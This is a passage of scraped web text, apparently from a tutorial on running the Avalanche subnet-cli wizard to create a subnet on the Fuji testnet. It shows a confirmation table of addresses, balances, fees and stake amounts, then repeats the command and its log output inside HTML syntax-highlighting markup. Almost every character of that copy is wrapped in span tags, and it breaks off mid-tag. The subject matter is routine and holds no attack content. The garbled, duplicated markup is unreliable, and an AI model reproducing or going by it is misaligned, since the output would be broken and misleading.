| PRIMARY P-CHAIN ADDRESS        | P-fuji1j38ncp5r6dpfjlt64et8cnqvcnp4yum4yfxyz6     |
*--------------------------------*---------------------------------------------------*
| TOTAL P-CHAIN BALANCE          | 1.9952981 $AVAX                                   |
*--------------------------------*---------------------------------------------------*
| TX FEE                         | 0.201 $AVAX                                       |
*--------------------------------*---------------------------------------------------*
| EACH STAKE AMOUNT              | 1.000 $AVAX                                       |
*--------------------------------*---------------------------------------------------*
| TOTAL STAKE AMOUNT             | 1.000 $AVAX                                       |
*--------------------------------*---------------------------------------------------*
| REQUIRED BALANCE               | 1.201 $AVAX                                       |
*--------------------------------*---------------------------------------------------*
| URI                            | https://api.avax-test.network                     |
*--------------------------------*---------------------------------------------------*
| NETWORK NAME                   | fuji                                              |
*--------------------------------*---------------------------------------------------*
| NEW PRIMARY NETWORK VALIDATORS | [167TkRiC6RVLboo5U7TpiB6Sk4UfxN8w2]               |
*--------------------------------*---------------------------------------------------*
| VALIDATE END                   | 2023-04-09T18:20:33Z                              |
*--------------------------------*---------------------------------------------------*
| STAKE AMOUNT                   | 1.000 $AVAX                                       |
*--------------------------------*---------------------------------------------------*
| VALIDATE REWARD FEE            | 2.000 %                                           |
*--------------------------------*---------------------------------------------------*
| REWARD ADDRESS                 | EXBvhXRVVJhehvXTz7BJvzUtsxsWMrcdy                 |
*--------------------------------*---------------------------------------------------*
| CHANGE ADDRESS                 | EXBvhXRVVJhehvXTz7BJvzUtsxsWMrcdy                 |
*--------------------------------*---------------------------------------------------*
| NEW SUBNET VALIDATORS          | [167TkRiC6RVLboo5U7TpiB6Sk4UfxN8w2]               |
*--------------------------------*---------------------------------------------------*
| SUBNET VALIDATION WEIGHT       | 1,000                                             |
*--------------------------------*---------------------------------------------------*
| CHAIN NAME                     | amafanssubnet                                     |
*--------------------------------*---------------------------------------------------*
| VM ID                          | juedWvBi73uAL3JgXYPJsD6d2YyVPAg4xv4RRqdCzaWpTsjVj |
*--------------------------------*---------------------------------------------------*
| VM GENESIS PATH                | amafanssubnet_genesis.json                        |
*--------------------------------*---------------------------------------------------*
Use the arrow keys to navigate: ↓ ↑ → ←
  ▸ Yes, let&apos;s create! I agree to pay the fee!
    No, stop it!
"><code>subnet<span class="hljs-operator">-</span>cli wizard <span class="hljs-operator">-</span><span class="hljs-operator">-</span>node<span class="hljs-operator">-</span>ids<span class="hljs-operator">=</span>NodeID<span class="hljs-operator">-</span>167TkRiC6RVLboo5U7TpiB6Sk4UfxN8w2\
         <span class="hljs-operator">-</span><span class="hljs-operator">-</span>vm<span class="hljs-operator">-</span>genesis<span class="hljs-operator">-</span>path<span class="hljs-operator">=</span>amafanssubnet_genesis.json \
         <span class="hljs-operator">-</span><span class="hljs-operator">-</span>vm<span class="hljs-operator">-</span>id<span class="hljs-operator">=</span>juedWvBi73uAL3JgXYPJsD6d2YyVPAg4xv4RRqdCzaWpTsjVj \
          <span class="hljs-operator">-</span><span class="hljs-operator">-</span>chain<span class="hljs-operator">-</span>name<span class="hljs-operator">=</span>amafanssubnet \
          <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-keyword">private</span><span class="hljs-operator">-</span>key<span class="hljs-operator">-</span>path keys<span class="hljs-operator">/</span>subnet<span class="hljs-operator">-</span>cli.pk

<span class="hljs-number">2022</span><span class="hljs-operator">-</span>06<span class="hljs-operator">-</span>13T18:<span class="hljs-number">20</span>:<span class="hljs-number">33</span>.498Z        info    client<span class="hljs-operator">/</span>client.go:<span class="hljs-number">81</span>     fetching X<span class="hljs-operator">-</span>Chain id
<span class="hljs-number">2022</span><span class="hljs-operator">-</span>06<span class="hljs-operator">-</span>13T18:<span class="hljs-number">20</span>:<span class="hljs-number">33</span>.543Z        info    client<span class="hljs-operator">/</span>client.go:<span class="hljs-number">87</span>     fetched X<span class="hljs-operator">-</span>Chain id      {<span class="hljs-string">"id"</span>: <span class="hljs-string">"2JVSBoinj9C2J33VntvzYtVJNZdN2NKiwwKjcumHUWEb5DbBrm"</span>}
<span class="hljs-number">2022</span><span class="hljs-operator">-</span>06<span class="hljs-operator">-</span>13T18:<span class="hljs-number">20</span>:<span class="hljs-number">33</span>.543Z        info    client<span class="hljs-operator">/</span>client.go:<span class="hljs-number">96</span>     fetching AVAX asset id  {<span class="hljs-string">"uri"</span>: <span class="hljs-string">"https://api.avax-test.network"</span>}
<span class="hljs-number">2022</span><span class="hljs-operator">-</span>06<span class="hljs-operator">-</span>13T18:<span class="hljs-number">20</span>:<span class="hljs-number">33</span>.564Z        info    client<span class="hljs-operator">/</span>client.go:<span class="hljs-number">105</span>    fetched AVAX asset id   {<span class="hljs-string">"id"</span>: <span class="hljs-string">"U8iRqJoiJm8xZHAacmvYyZVwqQx6uDNtQeP3CQ6fcgQk3JqnK"</span>}
<span class="hljs-number">2022</span><span class="hljs-operator">-</span>06<span class="hljs-operator">-</span>13T18:<span class="hljs-number">20</span>:<span class="hljs-number">33</span>.564Z        info    client<span class="hljs-operator">/</span>client.go:<span class="hljs-number">107</span>    fetching network information
<span class="hljs-number">2022</span><span class="hljs-operator">-</span>06<span class="hljs-operator">-</span>13T18:<span class="hljs-number">20</span>:<span class="hljs-number">33</span>.590Z        info    client<span class="hljs-operator">/</span>client.go:<span class="hljs-number">116</span>    fetched network information     {<span class="hljs-string">"networkId"</span>: <span class="hljs-number">5</span>, <span class="hljs-string">"networkName"</span>: <span class="hljs-string">"fuji"</span>}

Ready to run wizard, should we <span class="hljs-keyword">continue</span>?
<span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span>
<span class="hljs-operator">|</span> PRIMARY P<span class="hljs-operator">-</span>CHAIN ADDRESS        <span class="hljs-operator">|</span> P<span class="hljs-operator">-</span>fuji1j38ncp5r6dpfjlt64et8cnqvcnp4yum4yfxyz6     <span class="hljs-operator">|</span>
<span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span>
<span class="hljs-operator">|</span> TOTAL P<span class="hljs-operator">-</span>CHAIN BALANCE          <span class="hljs-operator">|</span> <span class="hljs-number">1.9952981</span> $AVAX                                   <span class="hljs-operator">|</span>
<span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span>
<span class="hljs-operator">|</span> TX FEE                         <span class="hljs-operator">|</span> <span class="hljs-number">0</span><span class="hljs-number">.201</span> $AVAX                                       <span class="hljs-operator">|</span>
<span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span>
<span class="hljs-operator">|</span> EACH STAKE AMOUNT              <span class="hljs-operator">|</span> <span class="hljs-number">1.000</span> $AVAX                                       <span class="hljs-operator">|</span>
<span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span>
<span class="hljs-operator">|</span> TOTAL STAKE AMOUNT             <span class="hljs-operator">|</span> <span class="hljs-number">1.000</span> $AVAX                                       <span class="hljs-operator">|</span>
<span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span>
<span class="hljs-operator">|</span> REQUIRED BALANCE               <span class="hljs-operator">|</span> <span class="hljs-number">1.201</span> $AVAX                                       <span class="hljs-operator">|</span>
<span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span>
<span class="hljs-operator">|</span> URI                            <span class="hljs-operator">|</span> https:<span class="hljs-comment">//api.avax-test.network                     |</span>
<span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span>
<span class="hljs-operator">|</span> NETWORK NAME                   <span class="hljs-operator">|</span> fuji                                              <span class="hljs-operator">|</span>
<span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span>
<span class="hljs-operator">|</span> NEW PRIMARY NETWORK VALIDATORS <span class="hljs-operator">|</span> [167TkRiC6RVLboo5U7TpiB6Sk4UfxN8w2]               <span class="hljs-operator">|</span>
<span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">*</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span 